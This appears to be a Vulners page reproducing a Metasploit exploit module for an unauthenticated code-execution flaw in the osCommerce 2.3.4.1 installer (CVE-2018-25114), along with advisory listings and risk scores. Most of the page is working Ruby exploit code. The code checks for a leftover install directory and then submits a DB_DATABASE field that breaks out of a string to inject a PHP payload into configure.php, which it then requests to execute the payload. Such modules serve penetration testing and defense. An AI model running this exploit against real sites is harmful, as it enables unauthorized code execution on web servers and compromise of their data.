osCommerce Installer Unauthenticated Code Execution
🗓️ 30 Apr 2018 00:00:00Reported by Simon Scannell, Daniel TeixeiraType
metasploit🔗 www.rapid7.com👁 23 Views
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2018-25114 | 29 May 201815:50 | – | circl | |
| osCommerce Online Merchant 安全漏洞 | 23 Jul 202500:00 | – | cnnvd | |
| CVE-2018-25114 | 23 Jul 202513:50 | – | cve | |
| CVE-2018-25114 osCommerce 2.3.4.1 Installer Unauthenticated Configuration File Injection PHP Code Execution | 23 Jul 202513:50 | – | cvelist | |
| EUVD-2018-21601 | 7 Oct 202500:30 | – | euvd | |
| osCommerce 2.3.4.1 - Remote Code Execution | 21 Aug 202619:35 | – | nuclei | |
| CVE-2018-25114 | 23 Jul 202514:15 | – | nvd | |
| PT-2025-30585 · Unknown · Oscommerce Online Merchant | 23 Jul 202500:00 | – | ptsecurity | |
| CVE-2018-25114 | 25 Jul 202514:29 | – | redhatcve | |
| VulnCheck KEV: CVE-2018-25114 | 5 Nov 202500:00 | – | vulncheck_kev |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'osCommerce Installer Unauthenticated Code Execution',
'Description' => %q{
If the /install/ directory was not removed, it is possible for an unauthenticated
attacker to run the "install_4.php" script, which will create the configuration
file for the installation. This allows the attacker to inject PHP code into the
configuration file and execute it.
},
'Author' => [
'Simon Scannell', # Original exploit author
'Daniel Teixeira' # MSF module author
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2018-25114'],
['EDB', '44374'],
],
'Payload' => {
'BadChars' => "\x00",
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [
[ 'osCommerce 2.3.4.1', {} ],
],
'DisclosureDate' => '2018-04-30',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
OptString.new('URI', [true, 'The path to the install directory', '/catalog/install/'])
]
)
end
def check
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI'], 'install.php'),
'method' => 'GET'
})
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown('Connection to target failed')
end
unless res.code == 200 && res.body.include?('osCommerce Website')
return CheckCode::Safe('Target does not appear to be running osCommerce')
end
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI'], 'index.php'),
'method' => 'GET'
})
if res.body.include?('configure.php') && res.body.include?('The following files need to have their file permissions set to world-writeable (chmod 777):')
vprint_error 'configure.php is not writable'
return CheckCode::Safe('configure.php is not world-writable; exploitation is not possible')
end
CheckCode::Appears('osCommerce install directory is accessible and configure.php appears writable')
end
def trigger
send_request_cgi({
'uri' => normalize_uri(datastore['URI'], 'includes/configure.php'),
'method' => 'GET'
})
end
def exploit
unless check == CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
data = {
'DIR_FS_DOCUMENT_ROOT' => './',
'DB_DATABASE' => "');#{payload.encoded}/*"
}
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI'], 'install.php'),
'method' => 'POST',
'vars_get' => {
'step' => '4'
},
'vars_post' => data
})
trigger
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
30 Apr 2018 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 49.3
EPSS0.0282
SSVC